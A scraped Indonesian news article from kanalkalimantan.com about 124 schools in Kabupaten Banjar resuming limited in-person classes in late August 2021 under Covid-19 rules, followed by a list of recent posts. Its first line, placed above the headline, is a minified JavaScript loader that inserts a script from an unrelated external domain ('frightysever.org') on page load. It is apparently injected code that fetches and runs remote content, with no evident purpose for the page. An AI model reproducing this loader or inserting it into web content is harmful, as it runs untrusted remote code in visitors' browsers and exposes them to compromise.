(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Mulai Gelar PTM, 124 Sekolah di Kabupaten Banjar Kembali Dibuka


KANALKALIMANTAN.COM, MARTAPURA – Pemerintah Kabupaten (Pemkab) Banjar bakal menggelar lagi Pembelajaran Tatap Muka (PTM) di tengah pandemi Covid-19. Rencananya bakal ada 124 sekolah (68 PAUD, 32 SDN, dan 24 SMP) di Kabupaten Banjar yang kembali menggelar pembelajaran secara luring (luar jaringan).

Plt Kepala Dinas Pendidikan (Disdik) Kabupaten Banjar, Liana Penny mengatakan, PTM untuk sekolah di Kabupaten Banjar kembali dilaksanakan pada 30 Agustus 2021 ini.

“Kita akan akan melaksanakan PTM kembali mulai 30 Agustus,” ucap Liana Penny.

Rencana kembali menggelar PTM ini berdasarkan hasil rapat koordinasi dengan Bupati Banjar serta SKPD terkait lainnya.

 

 

Baca juga: UPDATE. Tambah 45 Orang, Positif Covid-19 di Kota Banjarbaru Mencapai 8.441 Kasus

Sekolah kembali luring dilatar belakangi menurunnya angka kasus penularan Covid-19 di Kabupaten Banjar.

Kebijakan melaksanakan PTM ini juga berdasarkan instruksi langsung dari Kementerian Dalam Negeri (Kemendagri) Nomor 37 Tahun 2021. Bahwa jika suatu daerah berada pada Pemberlakuan Pembatasan Kegiatan Masyarakat (PPKM) level 1, 2 dan 3, maka diperbolehkan melaksanakan kegiatan PTM.

“Walaupun PTM diperbolehkan, tapi semua sekolah wajib mematuhi SKB 4 Menteri yang dikeluarkan oleh Kementerian Pendidikan dan Kebudayaan bahwa PTM dilakukan secara terbatas,” terangnya.

Saat pelaksanaan PTM, sebut Liana, jumlah peserta didik yang diperbolehkan hadir di sekolah hanya 50 persen dari total peserta didik di sekolah masing-masing.

Untuk PAUD dan TK, hanya boleh dihadiri 5 orang siswa saja per kelasnya. Dan sekolah juga akan mengikuti verifikasi dan validasi sebelum PTM, yakni sebanyak 68 PAUD, 32 SDN, dan 24 SMP.

“Jam belajar SD dan SMP dilakukan pembatasan, yang biasa normal pukul 8 hingga 12 siang, kini setiap harinya hanya ada dua jam saja. Dalam satu minggu PTM hanya boleh dilaksanakan dua sampai tiga kali saja,” jelasnya.

Plt Kadisdik Banjar mengakui bahwa PTM Kabupaten Banjar sudah dilaksanakan pada Rabu (25/8/21) lalu.

Namun dikarenakan semua sekolah wajib menyiapkan alat untuk protokol kesehatan, akhirnya PTM kembali ditunda beberapa waktu.

“Kita terpaksa menunda beberapa waktu karena harus menyiapkan beberapa fasilitas untuk protokol kesehatan, dan pelaksanan nanti mereka tetap wajib menjalankan dan memperhatikan beberapa aturan yang sudah dibuat oleh, Disdik,” ujarnya. (kanalkalimantan.com/al)

Reporter: al
Editor : kk


Desy Arfianty

Recent Posts

Dear Pencari Kerja: Ratusan Lowongan Kerja Tersedia di Banjarbaru Job Fair 2024

KANALKALIMANTAN.COM, BANJARBARU - Para pencari kerja di Ibu Kota Provinsi Kalimantan Selatan diminta untuk mempersiapkan… Read More

2 jam ago

Kadis Pariwisata Tala dan Bendahara Disidang Kasus Korupsi Retribusi Asuransi Wisata

KANALKALIMANTAN.COM, BANJARMASIN - Kasus tindak pidana korupsi kembali mengemuka di Provinsi Kalimantan Selatan (Kalsel). Kali… Read More

3 jam ago

Merancang Kota Metropolitan di Kalsel dari RPJPD Kota Banjarbaru 2025-2045

KANALKALIMANTAN.COM, BANJARBARU – Menjadikan Kota Banjarbaru sebagai kota metropolitan di Provinsi Kalimantan Selatan (Kalsel) masuk… Read More

6 jam ago

Lomba Balogo Meriahkan Hari Jadi ke-72 Kabupaten HSU

KANALKALIMANTAN.COM, AMUNTAI - Lomba balogo meramaikan rangkaian Hari Jadi ke-72 Kabupaten Hulu Sungai Utara (HSU).… Read More

8 jam ago

Bupati Banjar Buka Sosialisasi dan Rakor Penyelenggaraan Administrasi Pemerintahan Desa

KANALKALIMANTAN.COM, MARTAPURA - Bupati Banjar H Saidi Mansyur membuka Sosialisasi dan Rapat Koordinasi (Rakor) Penyelenggaraan… Read More

8 jam ago

Dinas PUPR Berikan Pedoman Standar Penggunaan Air Minum dan Sanitasi bagi Masyarakat

KANALKALIMANTAN.COM, BANJARBARU - Setiap tahunnya, pemerintah daerah dan pusat berupaya untuk meningkatkan akses terhadap air… Read More

8 jam ago

This website uses cookies.